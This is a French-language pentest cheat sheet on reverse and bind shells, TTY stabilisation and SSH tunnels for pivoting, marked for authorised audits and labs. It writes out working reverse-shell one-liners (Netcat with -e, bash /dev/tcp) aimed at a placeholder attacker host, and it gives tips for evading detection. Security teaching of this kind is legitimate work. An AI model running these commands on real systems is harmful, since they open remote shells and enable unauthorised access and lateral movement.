Cheat sheet — Reverse shells, bind shells & tunnels SSH (pivoting)
Logique client/serveur en pentest : reverse vs bind shell (Netcat, bash /dev/tcp), stabilisation TTY, et les trois types de tunnels SSH (local -L, remote -R, dynamique -D / SOCKS) pour pivoter dans un réseau interne.
Mis à jour le 21 sept. 2026
Contenu offensif à usage d’audit autorisé / lab uniquement.
Client / serveur : qui initie ?
Le client initie la connexion, le serveur écoute. En pentest, qui initie est la clé pour contourner un pare-feu : les connexions sortantes sont souvent autorisées — d’où l’intérêt du reverse shell.
| Type | Qui écoute |
|---|---|
| Bind shell | la victime |
| Reverse shell | l’attaquant |
Reverse shell avec Netcat
Côté attaquant (listener) :
nc -lvnp 4444 # -l listen, -v verbose, -n no DNS, -p port
Côté victime :
nc attacker_ip 4444 -e /bin/bash
# variante si -e est absent :
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Stabiliser le shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# côté listener, un shell plus confortable :
rlwrap nc -lvnp 4444
Tunnels SSH
# Local forwarding : accès local → service distant
ssh -L 8080:127.0.0.1:80 user@target # localhost:8080 → target:80
# Remote forwarding (reverse tunnel) : la cible expose un port vers l'attaquant
ssh -R 4444:localhost:22 user@attacker
# Dynamic (proxy SOCKS) : pivot réseau
ssh -D 9050 user@target # config SOCKS dans Burp/navigateur
Usage typique en pivot : depuis une cible compromise avec accès SSH,
ssh -D 9050 user@victim ouvre un proxy SOCKS pour atteindre le réseau interne
non exposé.
Discrétion & détection
- Préférer reverse > bind, sur des ports autorisés (80, 443).
- Netcat / reverse shells : détectables (EDR, IDS, logs réseau).
- SSH : plus discret car chiffré, idéal pour un pivot stable.
Workflow
Exploit → shell initial → reverse shell (accès distant) → stabilisation (TTY) → pivot SSH (réseau interne).